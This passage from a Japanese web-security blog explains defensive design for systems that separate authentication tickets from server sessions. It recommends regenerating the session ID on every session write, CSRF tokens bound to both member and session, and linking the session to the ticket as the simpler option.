  1. セッション変数に書き込みを行う都度、セッションIDを変更する。
  2. CSRF対策用トークンには、会員と紐付く情報(認証チケットやパスワード)と、セッションと紐付く情報(セッションIDそのものやセッション変数に入れたトークン)の両方を使う。

このケースでは、セッションは会員と関連付かないため、ログイン前のセッション固定対策と同じように、毎回のセッションID変更が必須となります。

また、CSRF対策には2つのトークンが必要になります*3。なぜならば、このケースでは、ユーザは「認証チケットを持ったある会員」という顔と、「セッション変数の持ち主である匿名の誰か」という2つの顔を持つ存在であり、2つの顔の片方が置き換えられないようにする必要があるからです。

しかし、一人のユーザが2つの顔を持つという状況はややこしいので、セッションと認証チケットを関連付けするか、「1.最初だけ認証チケットを見るタイプ」にした方が無難ではないかと思います。

*1:認証チケットのことをセッションと呼ぶこともあるため紛らわしいですが、この日記でいう認証チケットとは、ログイン時に発行され、チケットそのものに会員IDやログイン有効期限等の情報を含んでいるトークンを指しています。またセッションとは、JSESSIONID、PHPSESSID、ASP.NET_SessionIdなどのように、キーをクライアントにCookie等の形で渡して、それに紐付く情報をサーバ側のセッション変数に保存できる仕組みを指しています。

*2:私自身も過去にこのようなシステムの開発に携わっていました。

*3:正確には、2つを統合した1つのトークンを使うことも可能です。